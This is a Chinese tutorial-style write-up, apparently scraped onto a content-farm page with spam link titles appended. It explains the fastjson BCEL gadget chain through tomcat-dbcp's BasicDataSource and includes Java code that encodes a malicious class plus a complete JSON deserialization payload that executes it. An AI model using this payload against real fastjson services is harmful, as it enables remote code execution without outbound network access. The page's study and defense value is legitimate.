当前位置: 首页 > news >正文

哪些分类网站网上营销方法

哪些分类网站,网上营销方法,株洲优化公司,wordpress文件夹改名前言 众所周知fastjson公开的就三条链,一个是TemplatesImpl链,但是要求太苛刻了,JNDI的话需要服务器出网才行,BCEL链就是专门应对不出网的情况。 实验环境 fastjson1.2.4 jdk8u91 dbcp 9.0.20 什么是BCEL BCEL的全名应该是…

前言

众所周知fastjson公开的就三条链,一个是TemplatesImpl链,但是要求太苛刻了,JNDI的话需要服务器出网才行,BCEL链就是专门应对不出网的情况。

实验环境

fastjson1.2.4

jdk8u91

dbcp 9.0.20

什么是BCEL

BCEL的全名应该是Apache Commons BCEL,它是一个库。这个库里面有类叫com.sun.org.apache.bcel.internal.util,而这个类里面有一个classLoader类,ClassLoader类里面有一个loadClass方法,如果满足class_name.indexOf("$$BCEL$$") >= 0,那么就会调用createClass这个方法。

我们跟踪进createClass方法看看,可以看到这里会对进来的数据进行解码,所以我们传payload时要进行编码。

所以我们BCEL代码应该是这样的,这里读取盘下的Evil.class文件,然后经过BCEL编码,再加上$$BCEL$$去绕过我们前面的if判断使其解码,最后再借助classLoader.loadClass去加载我们的恶意代码。可能不知道我在说啥,我说白了就是,在不出网的环境中你主机无法去请求http的资源,那么我就把恶意代码转换成字节码传进去,通过调用里面的方法使其执行。

import com.sun.org.apache.bcel.internal.classfile.Utility;
import org.springframework.util.FileCopyUtils;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import java.io.File;
import java.io.FileInputStream;
import java.io.InputStream;public class fastjsonBcel {public static void main(String[] args) throws Exception {//不考虑fastjson情况就正常调用该类ClassLoader classLoader = new ClassLoader();byte[] bytes = fileToBinArray(new File("D:\\Evil.class"));String code = Utility.encode(bytes,true);classLoader.loadClass("$$BCEL$$"+code).newInstance();//将文件转为字节码数组public static byte[] fileToBinArray(File file){try {InputStream fis = new FileInputStream(file);byte[] bytes = FileCopyUtils.copyToByteArray(fis);return bytes;}catch (Exception ex){throw new RuntimeException("transform file into bin Array 出错",ex);}}}

fastjson

那么我们该如何把这个方法和fastjson结合起来呢,可以结合tomcat-dbcp这个类进行组合达到触发fastjson,tomcat-dbcp里面有一个BasicDataSource类,在反序列化的时候会调用getConnection()方法,而getConnection()方法在返回的时候又会调用createDataSource()方法。

而createDataSource()方法又调用了createConnectionFactory()方法。

继续跟踪,查看createConnectionFactory()方法,可以看到这里有两个参数

this.driverClassName和this.driverClassLoader。

通过动态类加载调用我们的loadclass,如果Class.forName(driverClassName, true, driverClassLoader)中的driverClassName和driverClassLoader可控,那么我们就可以传入我们正常BCEL生成的 classLoader和BCEL绕过的代码,恰巧这里有对应的set方法,那么在fastjson反序列化中就会调用set方法来达到可控的目的。

直接看poc,我们对这个s字符串进行反序列化,成功执行代码。

public class fastjsonBcel {public static void main(String[] args) throws Exception {byte[] bytes = fileToBinArray(new File("D:\\Evil.class"));String code = Utility.encode(bytes,true);String s = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassName\":\"$$BCEL$$" + code + "\",\"driverClassloader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}";JSON.parseObject(s);}

这里解释一下poc,指定类org.apache.tomcat.dbcp.dbcp2.BasicDataSource是为了控制上面我们说的driverClassName和driverClassLoader这两个参数,然后还指定了com.sun.org.apache.bcel.internal.util这个类,目的是触发里面的ClassLoader类和loadClass方法,使其加载我们的恶意代码,加上$$BCEL$$是为了绕过if判断,而由于触发方法会经过编码,所以我们要解码。

{{"aaa": {"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",//这里是tomcat>8的poc,如果小于8的话用到的类是//org.apache.tomcat.dbcp.dbcp.BasicDataSource"driverClassLoader": {"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassName": "$$BCEL$$$l$8b$I$A$..."}}: "bbb"
}

总结

原理不算难,说大白话就是把恶意类变成一串字符 用bp直接发过去就行,但是如果要深究怎么触发方法的话就有点难度了,因为要代码审计。

最后还是要声明一下,以上仅为个人的拙见,如何有不对的地方,欢迎各位师傅指正与补充,有兴趣的师傅可以一起交流学习。

http://www.15wanjia.com/news/21029.html

相关文章:

  • 新乡哪有网站建设公司谷歌浏览器安卓下载
  • 怎么做存储网站湖南seo服务电话
  • 山东网站制作策划网店推广培训
  • 西安营销型网站建设动力无限个人网站模板建站
  • 做政府门户网站建设长沙优化网站推广
  • 群晖的网站开发宁波seo教学
  • 自己做网站背景图片宁波网站制作优化服务
  • 网站模板如何修改域名海外推广运营
  • 滨州网站建设铭盛信息上海哪家seo好
  • 手表网站大全百度获客平台怎么收费的
  • 宁夏住房和城乡建设厅网站首页重庆seo网站推广优化
  • 全球搜索引擎网站seo关键词排名优化软件怎么选
  • 建网站引流做淘宝网络推广靠谱吗
  • 做视频网站需要多大的带宽网络公司网站建设
  • 诸城做网站建设的网店营销策划方案范文
  • 只用html5做网站seo网站优化
  • 类似站酷的设计网站国家提供的免费网课平台
  • 两学一做 投稿网站网络推广公司可不可靠
  • 济南网站建设培训班全国疫情高峰感染高峰
  • 沧州有做网站的吗湘潭网站seo
  • 网站尺寸规范百度明星人气榜
  • 网站建设网络推广销售个人网站免费制作平台
  • 创业做网站开发莆田百度推广开户
  • wordpress引用css样式seo软件系统
  • 桃城区网站制作公司重庆seo标准
  • 网站优化外包自己如何制作网站
  • 做金融怎么进基金公司网站爱站长尾词挖掘工具
  • 网站建设方案书模板下载泉州全网推广
  • 绍兴seo整站优化百度标记号码认证平台
  • 银川网站建设ctocio爱站权重查询